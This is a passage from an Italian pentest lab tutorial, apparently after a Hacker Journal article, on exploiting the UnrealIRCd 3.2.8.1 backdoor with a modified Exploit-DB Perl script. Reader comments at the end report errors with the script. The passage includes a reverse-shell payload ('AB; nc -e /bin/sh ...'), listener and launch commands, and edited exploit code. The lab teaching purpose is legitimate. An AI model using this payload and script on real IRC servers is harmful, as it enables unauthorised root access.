14.2 RFC 1459, LA LINGUA PARLATA DA QUESTO DEMONE.
Per interagire con il servizio IRC dobbiamo consultare il documento RFC 1459, dal quale impariamo per cominciare i comandi base per iniziare a inviare messaggi e dunque nella shell dove è in esecuzione nc cominciamo con:
PASS password
NICK HackerJournal
USER hj 0 * :hj
Ed è in questo momento che riceviamo l'informazione di interesse: il numero di versione 3.2.8.1
14.3 SEARCHSPLOIT.
Ora che conosciamo la versione di UnrealIRCd possiamo fare ricerche su eventuali exploit preesistenti che sfruttino vulnerabilità note: è il momento di searchsploit!
#searchsploit UnrealIRCd 3.2.8.1
questo comando ci permette di interrogare un vero e proprio database contenente informazioni sulle versioni vulnerabili di moltissimi programmi e relativi exploit che le sfruttano, già presenti nella nostra Kali Linux.
Dall'output la rivista ci consiglia di utilizzare il terzo exploit in quanto i primi due sono rispettivamente un modulo del famosissimo metasploit e l'altro serve per attaccare sistemi windows.
Sotto la voce "Path" possiamo vedere il percorso dove è situato l'exsploit che ci interessa.
14.4 L'EXPLOIT IN PERL: 13853.PL DIVENTA UNREALIRC_TOOL.PL.
Iniziamo preparando una directory dedicata e copiamo al suo interno l'exploit per poterlo modificare lasciando intatto l'originale.
#mkdir unrealircd
#cd unrealircd
#cp /usr/share/exploitdb/exploits/linux/remote/13853.pl ./unrealIRC_tool.pl
Passiamo ora ad analizzare l'exploit con un editor a piacere e scopriremo che questo fa affidamento a programmi presenti nel web.
Poiché lavoriamo in un laboratorio virtuale non connesso a internet sono necessarie diverse modifiche.
La modifica che apporteremo ha come obbiettivo di far lanciare il seguente comando da remoto:
#nc -e /bin/sh 210.100.1.1 -p 3333
che consentirebbe di farci inviare una shell sulla macchina virtuale "Pentester".
Pertanto all'inizializzazione della variabile $payload1 cancelliamo il comando wget e i suoi argomenti e lo sostituiamo con il comando precedente.
Tale riga dovrà avere questo aspetto:
my $payload1='AB; nc -e /bin/sh 210.100.1.1 -p 3333';
salviamo il file e avviamo una seconda shell con netcat in ascolto sulla porta 3333.
#nc -l -p 3333
e avviamo il tool
#perl ./unrealIRC_tool.pl www.labpentest.hj 6667 1
Tuttavia qualcosa non va: il tool termina l'esecuzione quasi immediatamente..
14.5 COMPRENDIAMO MEGLIO L'EXPLOIT GRAZIE A WIRESHARK.
Per capire meglio qual è il problema con il nostro exploit faremo qualche analisi del traffico dati scambiato tra le due VM.
Lanciamo wireshark e impostiamo il seguente filtro nella barra in alto:
ip.dst==210.100.1.1 || ip.dst==212.100.1.2
e lanciamo nuovamente il comando come abbiamo fatto prima
#perl ./unrealIRC_tool.pl www.labpentest.hj 6667 1
Analizzando bene il traffico (concentratevi sui pacchetti tcp anche con un ulteriore filtro se serve) si evince come il tool chiuda la connessione tramite un pacchetto TCP con flag RST.
Dunque è il tool che non aspetta la risposta della macchina vittima e di conseguenza la sua shell.
Modifichiamo nuovamente il tool sulla riga che controlla l'esecuzione dell'opzione 1 dello script con le seguenti righe:
if($type eq "1")
{
print $sockd "$payload1";
until (1 eq 0)
{
print $sockd "PING hj\n";
$carattere='';
until ($carattere eq "\n")
{
sysread($sockd, $carattere, 1);
print $carattere;
}
}
}
Salviamo e lanciamo nuovamente il tool sempre dopo aver avviato nc in ascolto sulla porta 3333 dalla quale verificheremo se l'exploit ha funzionato.
Proprio da qui lanciando il comando whoami vedremo che avremo ottenuto i privilegi di root.
Buonasera. Sullo script per automatizzare l'attacco al SMTP mi restituisce invalid port 0. Come posso risolvere il problema?
@whistler Lo script non funziona. Una volta modificato come da istruzioni e lanciato il comando, l'output è una sequenza infinita di messaggi del tipo seguente:
:irc.Metasploitable.LAN 451 PING :You have not registered
Idee su come si possa correggere?